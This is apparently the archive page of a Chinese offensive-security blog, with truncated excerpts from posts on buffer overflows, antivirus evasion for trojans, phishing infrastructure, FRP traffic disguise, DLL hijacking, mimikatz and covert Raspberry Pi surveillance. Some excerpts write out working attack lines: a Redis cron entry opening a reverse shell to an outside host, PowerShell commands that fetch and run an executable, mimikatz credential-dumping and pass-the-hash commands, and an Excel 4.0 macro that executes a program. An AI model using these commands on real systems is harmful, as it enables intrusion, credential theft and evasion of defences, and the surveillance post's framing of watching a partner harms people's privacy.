Linux栈溢出总结(0x00)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
距离第一篇栈溢出学习文章已经过去了1年半了,今天看到一篇文章终于解决了之前的一些疑惑,也理清了很多东西,记录一下,原文地址
https://mp.weixin.qq.com/s/cmLp5aHfqy1-wYiNiqdq-Q
什么是栈
简单来说,栈 是一种 LIFO(Last In Frist Out,后进先出) 形式的数据结构。栈一般是从高地址向低地址增长,并且栈支持 push(入栈) 和 pop(出栈) 两个操作。如下图所示:
push 操作先将 栈顶(sp指针) 向下移动一个位置,然后将数据写入到新的栈顶;而 pop 操作会从 栈顶 读取数据,并且将 栈顶(sp指针) 向上移动一个位置。
例如,将 0x100 压入栈,过程如下图所示:
我们再来看看 出栈 操作,如下图所示:
栈帧
栈帧,也就是 Sack Frame,其本质就是一种栈,只是这种栈专门用于保存函数调用过程中的各种信息(参数,返回地址,本地变量等 ...
Go使用WindowsApi笔记
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
在学Go相关的免杀,来提高木马的存活性,看到一些有意思的东西记下来
加载DLL
要在Go中加载DLL,可以使用syscall.NewLazyDLL或syscall.LoadLibrary 以及syscall.MustLoadDLL。
NewLazyDLL返回一个*LazyDLL,懒加载,只在第一次调用其函数时才加载库;
LoadLibrary是立即加载DLL库。
创建函数
syscall.NewLazyDLL
package mainimport ( "syscall" "unsafe")func main() { user32 := syscall.NewLazyDLL("user32.dll") MessageBoxW := user32.NewProc("MessageBoxW") MessageBoxW.Call ...
关于邮件钓鱼的哪些事(二)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
首先需要编写一个钓鱼一键化平台,然后进入我们的正题
搭建邮件服务器
首先卸载Postfix
如果没有Postfix就跳过
sudo systemctl stop postfixsudo apt remove postfix && apt purge postfix
安装Sendmail
sudo apt install sendmail
配置Sendmail服务器
sudo sendmailconfig
接收输入电子邮件
编辑/etc/mail/sendmail.mc
DAEMON_OPTIONS(`Family=inet, Name=MTA-v4, Port=smtp, Addr=127.0.0.1')dnlDAEMON_OPTIONS(`Family=inet, Name=MSP-v4, Port=submission, M=Ea, Addr=127.0.0.1')dnl# ...
Redis写SHELL
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
通过计划任务获取SHELL
首先进行连接
redis-cli -h 192.168.251.17 -p 6379
然后设置文件夹路径
config set dir /var/spool/cron/crontabs
如果出现(error) ERR Changing directory: Permission denied标明Redis并不是root权限启动的,权限不足,需要使用redis-server /etc/redis/redis.conf来启动程序,不能使用service redis start来启动
接着修改文件,Ubuntu的计划任务是在这个文件中
config set dbfilename root
设置计划任务,需要添加\n符号,因为写进去后会有很多无用数据
set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.251.16/8899 0&g ...
常见工具特征去除
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
FRP改造
改造之前
在受害者机器上使用frpc.exe -c frpc_socker.ini连接服务起的时候,会产生一个这种数据校检
流量改造
pkg\msg\msg.go
这几个函数中保存着上面的信息
我在前加个了前缀
而在pkg\util\version\version.go 中定义了版本信息,这里也可以修改一下
改成随便一个版本
结果如下
编译方式
首先执行make会进行一些GitHub的包下载(最好使用代理
接着执行make -f Makefile.cross-compiles进行编译
配置文件改造
全称只需要修改这个文件cmd/frpc/sub/root.go
先修改var位置,添加ip、port、fileContent这三个参数
var ( cfgFile string showVersion bool serverAddr string user ...
蔓灵花APT组织针对巴基斯坦定向攻击的样本分析
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
开个新坑,学习下样本分析看看有什么好的免杀技术能够让我整合的,第一篇文章就参考Crazyman师傅写文章的和网上各个沙箱的已有的内容
样本
文件类型
PE32 executable (console) Intel 80386, for MS Windows
文件大小
31KB
MD5
8d42c01180be7588a2a68ad96dd0cf85
SHA1
89a7861acb7983ad712ae9206131c96454a1b3d8
SHA256
0b2a794bac4bf650b6ba537137504162520b67266449be979679afbb14e8e5c0
时间戳
0x5C32FC2B (Mon Jan 07 15:13:47 2019)
PDB
c:\Users\Asterix\Documents\Visual Studio 2008\Projects\ ...
Linux堆溢出总结(0x01)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
HVV结束,终于能闲下来学习了,开新坑啦~好耶~
记个小知识点
libc是Linux下的ANSI C函数库。
glibc是Linux下的GUN C函数库。
Linux下原来的标准c库Linux libc逐渐不再被维护。Linux下面的标准c库不仅有这一个,如uclibc、klibc,以及上面被提到的Linux libc,但是glibc无疑是用得最多的。glibc在/lib目录下的.so文件为libc.so.6。
堆内存管理机制介绍
不同平台的堆内存管理机制不相同,下面是几个常见平台的堆内存管理机制:
平台
堆内存分配机制
General purpose allocator
dlmalloc
glibc
ptmalloc2
free BSD and Firefox
jemalloc
Google
tcmalloc
Solaris
libumem
在 Linux 的 g ...
Linux栈溢出总结(0x03)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
上篇文章真的就是一改就花了一个月时间,然后发现篇幅有点太长了分割一下,感觉这篇也需要好久
记录
几个未填坑的点
如何计算出TLS的offset大小(EXP抄的,我也懵
SSP题目中,为什么当可执行文件足够小的时候,他的不同区段可能会被多次映射?
绕过PIE保护
测试代码(题目泄露地址)
//test.c#include <unistd.h>#include <stdio.h>void vuln_func() { char buf[128]; read(STDIN_FILENO, buf, 256);}int main(int argc, char *argv[]) { printf("%p\n",&main); vuln_func(); write(STDOUT_FILENO, "Hello world!\n&qu ...
Office Excel Macro
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
好久没笼统的学习了,梳理下Excel宏相关的东西以防下次要用的时候都不会。
关于宏
据我所知微软office所支持的宏里面,目前有两种
1992年:微软在office中引用了名为Excel4.0的宏代码技术,也被成为XLM宏。Excel4.0宏代码写在表格中,宏代码的具体文件呈现为xml而不是二进制文件。
1993年:微软更新了Excel5.0技术,也就是现在常见的VBA宏代码。
从Excel2010到Excel2019全线产品都支持Excel4.0宏。同时微软也提到,虽然目前Microsoft Excel仍然支持Excel4.0宏,但还是建议用户使用VBA宏。
Macro 4.0
简单利用
在箭头位置点击右键->插入即可使用
接着会出现一个新建的宏表格,我们在表格中添加如下命令,即可完成一个简单的宏
=EXEC("calc.exe")=ALERT("hello ascotb ...
从零开始编写XSS平台
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
在我们日常渗透或者红队打点的时候都或多或少的会挖掘到XSS漏洞,由于红队钓鱼也经常用到XSS平台,虽然网上免费可以注册的平台很多,但是这些平台都是别人的首先钓鱼到的数据并不是只有你一个人可见,网站的管理员也可以看的到,这就会对某些敏感的红队项目的信息造成泄漏,其次网站也经常不稳定,尝尝十天半个月就要换一个平台重新来一次,所以这篇文章就来了~
项目地址:https://github.com/Ascotbe/Medusa
什么是XSS
跨站脚本(英语:Cross-site scripting,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。
Cross-site scripting的英文首字母缩写本应为CSS,但因为CSS在网页设计领域已经被广泛指层叠样式表(Cascading S ...
Linux ELF格式解析
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
在写PE结构解析的时候,以为ELF结构没必要去看文件结构,直到后面做了PWN题发现不是这样的,所有还是学习下ELF结构,然后再写个解析器
常见结构区分
目前,PC平台流行的可执行文件格式(Executable)主要包含如下两种,它们都是COFF(Common File Format)格式的变种
Windows下的PE(Portable Executable)
Linux下的ELF(Executable Linkable Format)
源代码经过编译后但未进行连接的那些中间文件(Windows的.obj和Linux的.o),它与可执行文件的格式非常相似,所以一般跟可执行文件格式一起采用同一种格式存储。
其中动态链接库(DDL,Dynamic Linking Library)和静态链接库(Static Linking Library)的格式都和当前系统对应的可执行文件结构一样
动态链接库:Windows的.dl ...
Linux栈溢出总结(0x02)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
在上篇中介绍了一些常见保护,以及如何开关,还有如何生成shellcode等操作,就那么点东西我搞了一星期,真是菜吐了,心态崩了了
写在前面的几个笔记
CALL和RET指令解释
CALL指令调用某个子函数时,下一条指令的地址作为返回地址被保存到栈中。等价于PUSH返回地址与JMP函数地址的指令序列
RET指令跳转到CALL指令保存的返回地址,讲控制权交还给调用函数。等价于POP返回地址与JMP返回地址的指令序列
AMD64和i386的区别
由于后面的利用方式可能会用到64位的程序,所以在前面把两者几个点需要区别下
首先是内存地址的范围由32位变成了64位。但是可以使用的内存地址不能大于0x00007fffffffffff,否则就会抛出异常。
其次是函数参数的传递方式发生了改变,x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI、RSI、RDX、RCX、 R8和R9中,如果还有更多的参数的 ...
Linux栈溢出总结(0x01)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
记录下自己学习堆栈溢出的内容,这篇就是栈溢出入门的东西,也算是栈溢出总结的上篇,缝合怪文章大部分都是参考各个师傅的文章。写文章的初心是为了总结梳理下自己的学习过程。22年重新修改部分内容
栈溢出利用方式
ROP(修改返回地址,让其指向内存中已有的一段指令
ret2shellcode(修改返回地址,让其指向溢出数据中的一段指令
ret2libc(修改返回地址,让其指向内存中已有的某个函数
BROP
ret2dl-resolve
SROP
常用保护机制
CANNARY金丝雀(栈保护)/Stack protect/栈溢出保护
栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击 ...
恶意程序研究之DLL劫持
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
DLL劫持
DLL劫持一直深受黑客们的喜欢,利用此技术可以实现启动木马后门,游戏外挂插件的注入,绕过UAC等操作。
全文约定:全文中系统盘所在的位置默认为C盘
DLL加载顺序
DLL是以文件的形式存在在硬盘中,那么应用程序又是如何索引所需的DLL呢?其实,Microsoft已在此处完整记录了DLL搜索顺序。
微软的DLL劫持分为三个阶段
无保护阶段:Windows XP SP2之前
保护阶段:Windows XP SP2之后,Windows 7之前
进一步保护阶段:Windows 7之后
Windows XP SP2之前
进程对应的应用程序所在目录;
加载 DLL 时所在的当前目录;
系统目录即 SYSTEM32 目录(通过 GetSystemDirectory 获取);
16位系统目录即 SYSTEM 目录;
Windows目录(通过 GetWindowsDirectory 获取);
PATH环境变量中的各个目录 ...
Windows杂谈
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
梳理Windows的历史
Windows杂谈
微软于1985年11月20日推出了名为Windows的操作系统,作为MS-DOS的图形操作系统外壳,而MacOS是1984年推出的。并且Windows 10是微软最后一个版本的操作系统,不在会有像Windows 7 和Windows 7 sp1 或者sp2这种升级,而是统一使用Windows 10 1507这样的编号。
Windows内核区别
MS-DOS
1980年,西雅图计算机产品公司的一名24岁的程序员Tim Paterson(蒂姆·帕特森)花费了四个月时间编写出了 86-DOS 操作系统。1981年7月,微软以五万美元的代价向西雅图公司购得本产品的全部著作权,并将它更名为 MS-DOS。
MS-DOS源码下载
https://computerhistory.org/blogs/microsoft-research-license-agreement-msdo ...
关于邮件钓鱼的哪些事
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
漏洞利用那一节放到下篇吧,复现环境有点难找
测试环境
kail-2019.4
windows7 sp1 x64
windows10 x64
Office宏
首先来区别下Word和Excel各种后缀中的区别
Word文档
97-2003的旧版本文件名后缀就是**.doc**
从2007版以后后缀名是**.docx**
docx厉害一点。它是被压缩过的文档,体积更小,能处理更加复杂的内容,访问速度更快。
如果把docx的改为zip的话可以解压出里面的所有数据,不过空文档大部分都是XM格式的文件
Excel表格
xls是一个特有的二进制格式,其核心结构是复合文档类型的结构,而xlsx的核心结构是XML类型的结构,采用的是基于XML的压缩方式,使其占用的空间更小。xlsx中最后一个x的意义就在于此。
xls是2003版本下的文件 ,不管有没有宏程序的话都是xls文件 ,从2007开始做了区分,xlsm文件和xlsx文件都是 ...
XXE的一些利用方式
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
对没错这是这星期的第四篇文章了,我感觉要肝不动了啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊
XXE是什么
XXE(XML External Entity Injection) 全称为 XML 外部实体注入,从名字就能看出来,这是一个注入漏洞,注入的是什么?XML外部实体。(看到这里肯定有人要说:你这不是在废话),固然,其实我这里废话只是想强调我们的利用点是 外部实体 ,也是提醒读者将注意力集中于外部实体中,而不要被 XML 中其他的一些名字相似的东西扰乱了思维(盯好外部实体就行了),如果能注入 外部实体并且成功解析的话,这就会大大拓宽我们 XML 注入的攻击面(这可能就是为什么单独说 而没有说 XML 注入的原因吧,或许普通的 XML 注入真的太鸡肋了,现实中几乎用不到)
基础知识
XML是一种用于标记电子文件使其具有结构性的标记 ...
信息收集总结
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
对没错这是这星期的第三篇文章了,目前只写了个GitHub的使用方法,等周六周天补充吧
Github搜索语法
众所周知,GitHub就是信息泄露的宝库之一,用好语法天天高危来敲你家门(逃
相关语法
查询大于或小于另一个值的值
您可以使用>,>=,<,和<=搜索是大于,大于或等于,小于和小于或等于另一个值的值。
查询
示例
>n
cats stars:>1000 匹配含有 “cats” 字样、星标超过 1000 个的仓库。
>=n
cats topics:>=5 匹配含有 “cats” 字样、有 5 个或更多主题的仓库。
<n
cats size:<10000 匹配小于 10 KB 的文件中含有 “cats” 字样的代码。
<=n
cats stars:<=50 匹配含有 “cats” 字样、星标不超过 50 个的仓库。
...
解决安卓单向/双向认证导致无法抓包
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
本文思路来着公众号小和尚的安全之路,菜鸡的我周天面试被社会毒打了一顿,问了双向认证问题,但是这玩意我没接触过,刚好今天看到一篇文章,学习一下
首先准备工作
XposedInstaller(Xposed安装器)
JustTrustMe(禁用SSL)
ida pro(静态逆向程序)
JEB(apk解包程序)
test.apk(目标程序)
所需文件位置下载
https://github.com/Ascotbe/virus/blob/master/HttpCertificate
解决单向认证
安装Xposed框架
刚开始安装好APK是显示框架未安装的
点击这个安装
xuanz安装
接着点击安装
然后从起后就能看到安装成功了
安装JustTrusMe模块
点击左上角的菜单
然后选着模块
勾选就好了,这样就解决了单向认证,可以绕过客户端校验了
解决双向认证
我们来把目标程序抓个包
可以看到服务器显示为400 ...
利用系统组件远程下载木马
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
我知道上篇文章没有写完,但是把看到什么学什么,要终结的嘛你说是吧(ps:后续有其他方法也会更新到这里的
Windows
命令行自带工具
PowerShell
PowerShell是一种跨平台的任务自动化和配置管理框架,由命令行管理程序和脚本语言组成,与大多数接受并返回文本的 shell 不同,PowerShell构建在 .NET公共语言运行时 (CLR) 的基础之上,接受并返回.NET对象,这从根本上的改变引入了全新的自动化工具和方法。
远程下载文件到本地:
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.183.138:8000/test.txt','test.exe')
直接把文本转换为exe文件运行,无残留文件
powershell -nop -w hidden -c &qu ...
PE解析器
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
之前为了学习PE结构知识恶补了一下相关文章,然后使用010 Editor这个软件也可以完整的读取出PE的结构和字段,但是这都是别人写好的,自己没有玩过一遍的东西都不叫学过,那只能叫见过所以就有了这篇文章,各位看官别急需要几天时间才能搞定,毕竟还不熟悉如果有哪里写错了,忘各位斧正!(PS:当前代码输出不够美观后期会修改)
使用环境
Visual Studio 2019 (宇宙最强编译器
windows 10
前置知识
恶意程序研究之PE结构梳理
获取文件映象
首先介绍下内存映射文件技术作用
使用内存映射文件来访问磁盘上的数据文件。这使你可以不必对文件执行I/O操作,并且可以不必对文件内容进行缓存.
可以使用内存映射文件,使同一台计算机上运行的多个进程能够相互之间共享数据。windows确实提供了其他一些方法,以便在进程之间进行数据通信,但是这些方法都是使用内存映射文件来实现的,诸如使用SendMessage或者Post ...
木马绕过虚拟机
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
新篇章开始了,主要讲一些探测沙盒以及编译工具的方法,之前我写的那个勒索病毒用到的大部分方法我都会总结到这里,也会参考一些师傅的文章,算是一个巩固吧,最后会把所有代码上传到GitHub中,之前免杀里面说的一些像加密之类的操作这里就不在重复写了。
这是半成品,还有几个代码没敲完,还有点瑕疵
从编译角度来看免杀
全篇文章以免杀中的VirtualAllocPlanA作为基础例子来验证我们的猜想,
删除链接库
有些反病毒软件会识别链接器中的问题,如果说xxx.lib这些编译器会自动帮我们加上,如果把链接器选项中的其他依赖项删除掉(尤其是kernel32.lib),某些反恶意软件引擎就不会把生成的可执行文件标记为恶意的。
这是系统自带的附加依赖,我们生产后放到TV中查杀看看
可以看到免杀率为28/72
接着把附加依赖项删除了,重新生成
可以看到我们绕过了5家杀软,免杀率23/72
知道PE原理的小伙伴可能会说把这个删了文件就 ...
Meterpreter后渗透常用命令
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
写免杀的时候在想,msf连上后能干啥?之前只有大概的了解下,具体没怎么实操,后面把之前写的文章过了一遍,然后谷歌了一下发现还有好多不知道的地方借此删除了去年写的那篇文章合并到了一起,本篇会持续更新,如果看到师傅们有什么新奇的操作都会记录下来
Metasploit体系框架
文件目录解析
核心文件包括data、modules、scripts、tools、plugins
data
该文件里常用的的功能在wordlists(字典)里面
modules
该文件夹里包括了msf最核心的几个文件
auxiliary(漏洞辅助模块一般是没有攻击载荷的漏洞攻击)Exploits(渗透攻击模块)st(开发模块)pads(漏洞负载模块)Encode码器模块)Nops(空指令模块>
scripts
该文件夹里面包含这各种脚本
tools
该文件夹中存放着大量的使用工具
plugins
该文件夹放着大量插件
系统命令
基本系统命令
ses ...
自定义ShellCode
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
终于写完了,应该挺详细的,奥利给
环境配置讲解
当前项目使用的vs2019,其他vs编译器都可以
清除多余的函数
首先创建一个项目,然后什么配置都不修改使用release生成如下代码
int main(){ return 0;}
然后我们把生成的exe文件放到ida里面去可以看到下图,明明我们什么函数都没有加为什么会多出这么多函数呢?
其实这些函数都是vs编译器自动帮我加进去的,我们的代码段加上这些函数就组成了一个PE文件
位置:项目->配置属性->高级->入口点中添加MyMian字段,这个字段可以随意修改
接着我们把原先的代码替换为如下代码,然后重新生成
int MyMain(){ return 0;}
可以看到多余的函数都不见了
禁用安全检查
上面是不是还有一个多余函数,该函数是用于安全检查用的,我们一样可以关闭它。
位置:项目->配置属性-> ...
mimikatz使用说明
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
只记录自己用过的命令
常用的命令
常规抓hash
privilege::debugsekurlsa::logonpasswords
注册列表抓hash
reg save HKLM\SYSTEM SYSTEMreg save HKLM\SAM SAMlsadump::sam /sam:SAM /system:SYSTEM
PTH登录
sekurlsa::pth /user:administrator /domain:ascotbe.com /ntlm:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXdir \\10.0.0.1\c$
procdump
有些情况下🥝是无法抓取到hash的,会提示ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)错误,可以使用procdump64+mimikatz来解决,前提是wi ...
利用树莓派来监听任务目标(下)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
距离上次的上篇已经过去了小半年时间了,真的不是我咕咕了,是因为自己挖的坑有点多,本片文章主要介绍的是如何对人脸进行检测和检测后的通讯方式,树莓派zeor w性能有点更不上所以我又买了4B(小声BB可能还有终篇
硬件清单
读卡器以及 SD 卡
树莓派官方摄像头一枚(夜视版
树莓派4B
电源(实际场景需要装个充电宝或者使用定制的电源)
监听模块(如果想要带上声音可以装个)
安装python-opencv
更新树莓派系统
在这之前记得话pip源 、apt源、系统更新源换成国内的,并且使用树莓派4并且刷入最新版的包,刷入包的哈希值
SHA-256:c9c382b659bd96b859ccb9e2ac0c2292a91a37c286ab464f2f380d451077663d
sudo apt-get updatesudo apt-get upgrade
安装python-OpenCV
在这之前还需要把系统自带的p ...
Windows PE结构解析
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
不管你是逆向领域,还是开发领域,异或是病毒编写者(红蓝对抗),都需要对PE文件有详细的了解,由于自己是个菜逼然后需要用到修改PE结构来达到某些免杀的操作,既然这样我就祭出菜逼大杀器Google百度来自行学习,本篇文章主要都是摘抄各位师傅们的文章,加上菜逼我的理解混合在一起的,如果有哪些地方理解错了或者填错了请各位师傅斧正!!
总体介绍
可执行文件(Executable File)是指可以由操作系统直接加载执行的文件,在Windows操作系统中可执行文件就是PE文件结构,在Linux下则是ELF文件,下面这张图就是PE文件格式的图片(来自看雪),非常大一张图片,其实PE格式就是各种结构体的结合,Windows下PE文件的各种结构体在WinNT.h这个头文件中,可以在VS(宇宙无敌第一编译器)中查询。
PE文件整体结构
PE结构可以大致分为:
DOS部分
PE文件头
节表(块表)
节数据(块数据)
调试信息
依旧用看雪 ...
C++命名规范
前言
首先命名要可读,这是所有规则的公理!!!!!尽可能使用描述性的命名, 别心疼空间, 毕竟相比之下让代码易于新读者理解更重要. 不要用只有项目开发者能理解的缩写, 也不要通过砍掉几个字母来缩写单词。
本篇作为学习笔记,约束自己
文件命名
文件名全部都要小写并且包含下划线(_)
可接受的文件命名示例:
my_useful_class.cc
http_server_logs.h
C++ 文件要以 .cc 结尾, 头文件以 .h 结尾. 专门插入文本的文件则以 .inc 结尾
通常应尽量让文件名更加明确. http_server_logs.h 就比 logs.h 要好
类型命名
类型名称的每个单词首字母均大写, 不包含下划线: MyExcitingClass, MyExcitingEnum.
变量命名
普通变量命名
单词全小写并且用下划线(_)隔开,和文件命名类似,必须要让命名可读,并且明确。
string table_name;string user_name_read;
类数据成员
再普通的变量名前面加上c_作为开头
class TableInfo { ... ...
免杀基础
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
踩着大佬们的脚步,用自己蹩脚的C++功底复现了师傅给出的一些免杀方案。后续将给出自己的两个免杀方案,复现大佬们的这几个方案用了3天时间,我真的是菜的可怜。
生成ShellCode的方法
使用msfvenom生成的ShellCode
使用参数说明
-l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all-p, --payload <payload> 要使用的有效载荷-f, --format <format> 输出格式,输出的语言类型-e, --encoder <encoder> 要使用的编码器- ...
利用树莓派来监听任务目标(上)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
"黑客"注重的是隐蔽高效的攻陷目标,那么前期的信息收集,以及踩点就是非常重要的了,如何使用树莓派来"监控"目标对象?
当你想知道某个地方的他在做什么?想要知道家里面是否进了小偷?
家里的那个她是否给你带了绿帽子?(写到这里我哭了出来,为什么我没有女朋友!哇~)
硬件清单
读卡器以及 SD 卡
摄像头一枚
SSH连接工具
域名一个
带公网服务器一台
电源(实际场景需要装个充电宝或者使用定制的电源)
监听模块(如果想要带上声音可以装个)
成品图是这样的
刷系统以及换源之类的可以看我另一篇文章,这里就不做其他概述了!
开启摄像头模块
进入配置中
sudo raspi-config
选择Interfacing Options
接着选择Camera
然后他问会问你是否同意使用pi camera,选择是重启就好了
重启后查看监控模块是否开启了,如何和乡土一样就表示没问题了 ...
GDB详细使用介绍
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
使用GDB
启动
SH$ gdb program # program是你的可执行文件,一般在当前目录$ gdb program core # gdb同时调试运行程序和core文件,core是程序非法执行产生的文件$ gdb program pid # 如果你的程序是一个服务程序,那么你可以指定这个服务程序运行时的进程ID。gdb会自动attach上去,并调试他。program应该在PATH环境变量中搜索得到。
运行
SH(gdb) r/run # 开始运行程序(gdb) c/continue # 继续运行(gdb) n/next # 下一行,不进入函数调用(gdb) s/step # 下一行,进入函数调用(gdb) ni/si # 吓一跳指令,ni和si区别同上(gdb) fini/ ...
C++正则规则
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
常用的元字符:
.: 匹配除\n之外的任何单个字符,若要匹配包括\n在内的任意字符,需使用诸如[\s\S]之类的模式;
^:匹配输入字符串的开始位置,不匹配任何字符,要匹配^字符本身,需使用\^;
$:匹配输入字符串结尾的位置,不匹配任何字符,要匹配$字符本身,需使用\$;
*: 零次或多次匹配前面的字符或子表达式,*等效于{0,},如\^*b可以匹配b、^b、^^b、…;
+: 一次或多次匹配前面的字符或子表达式,等效于{1,},如a+b可以匹配ab、aab、aaab、…;
?: 零次或一次匹配前面的字符或子表达式,等效于{0,1},如a[cd]?可以匹配a、ac、ad; 当此字符紧随任何其他限定符*、+、?、{n}、{n,}、{n,m}之后时,匹配模式是非贪心的。非贪心的模式匹配搜索到的、尽可能短的字符串, ...
c++ new和malloc的区别
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
1. 申请的内存所在位置
new操作符从自由存储区(free store)上为对象动态分配内存空间,而malloc函数从堆上动态分配内存。自由存储区是C++基于new操作符的一个抽象概念,凡是通过new操作符进行内存申请,该内存即为自由存储区。而堆是操作系统中的术语,是操作系统所维护的一块特殊内存,用于程序的内存动态分配,C语言使用malloc从堆上分配内存,使用free释放已分配的对应内存。
那么自由存储区是否能够是堆(问题等价于new是否能在堆上动态分配内存),这取决于operator new 的实现细节。自由存储区不仅可以是堆,还可以是静态存储区,这都看operator new在哪里为对象分配内存。
特别的,new甚至可以不为对象分配内存!定位new的功能可以办到这一点:
new (place_address) type
place_address为一个指针,代表一块内存的地址。当使用上面这种仅以一个地址调用new操作符时 ...
C++ 获取已安装程序笔记
在Windows系统中,已安装软件的信息都保存在注册表中
那种绿色免安装包还不知道怎么获取
32位系统存在以下两个位置:
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\UninstallHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
64位系统在32位系统上多出一处,也就是WOW6432Node的节点下
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall
如何区分哪个是补丁哪个是安装程序
